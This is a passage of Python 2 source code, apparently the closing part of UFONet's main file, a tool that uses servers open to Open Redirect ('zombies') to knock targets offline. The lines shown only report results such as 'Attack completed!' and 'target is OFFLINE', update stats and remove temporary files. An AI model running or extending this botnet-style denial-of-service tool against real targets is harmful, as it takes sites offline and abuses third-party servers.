  2892. self.herd.dump_html()
  2893. attack_mode = False
  2894. print ("\x1b[2J\x1b[H") # black magic
  2895. if not self.options.attackme: # show herd results
  2896. self.herd.dump()
  2897. else: # show doll results
  2898. print '='*21
  2899. print "\n[Info] - Mothership transmission...\n"
  2900. num_real_zombies = len(self.doll.real_zombies)
  2901. print "Total 'zombies' 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
  2902. for z in self.doll.real_zombies: # show only alien verified zombies
  2903. for x in z:
  2904. print " - " + str(x)
  2905. self.herd.dump_html(True) # show (all) zombies statistics
  2906. if not self.options.attackme:
  2907. print "\n[Info] - Attack completed! ;-)\n"
  2908. self.update_mothership_stats() # update mothership stats
  2909. else:
  2910. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  2911. print "\n[Info] - Not any 100% vulnerable zombie found... Bye!\n"
  2912. if os.path.exists('mothership') == True:
  2913. os.remove('mothership') # remove mothership stream
  2914. if os.path.exists('alien') == True:
  2915. os.remove('alien') # remove random alien worker
  2916. sys.exit(2)
  2917. else:
  2918. print "\nBye!\n"
  2919. if os.path.exists('mothership') == True:
  2920. os.remove('mothership') # remove mothership stream
  2921. if os.path.exists('alien') == True:
  2922. os.remove('alien') # remove random alien worker
  2923. if not options.web:
  2924. sys.exit(2) # exit
  2925. else:
  2926. return
  2927. else:
  2928. if not options.attackme:
  2929. print "[Info] Your target ("+target+") is OFFLINE!! ;-)"
  2930. else:
  2931. print "[Error] Your NAT/Network is not correctly configurated..."
  2932. print '-'*25
  2933. print "\nBye!\n"
  2934. if os.path.exists('mothership') == True:
  2935. os.remove('mothership') # remove mothership stream
  2936. if os.path.exists('alien') == True:
  2937. os.remove('alien') # remove random alien worker
  2938. if not options.web:
  2939. sys.exit(2) # exit
  2940. else:
  2941. return
  2942. if __name__ == "__main__":
  2943. app = UFONet()
  2944. options = app.create_options()
  2945. if options:
  2946. app.run()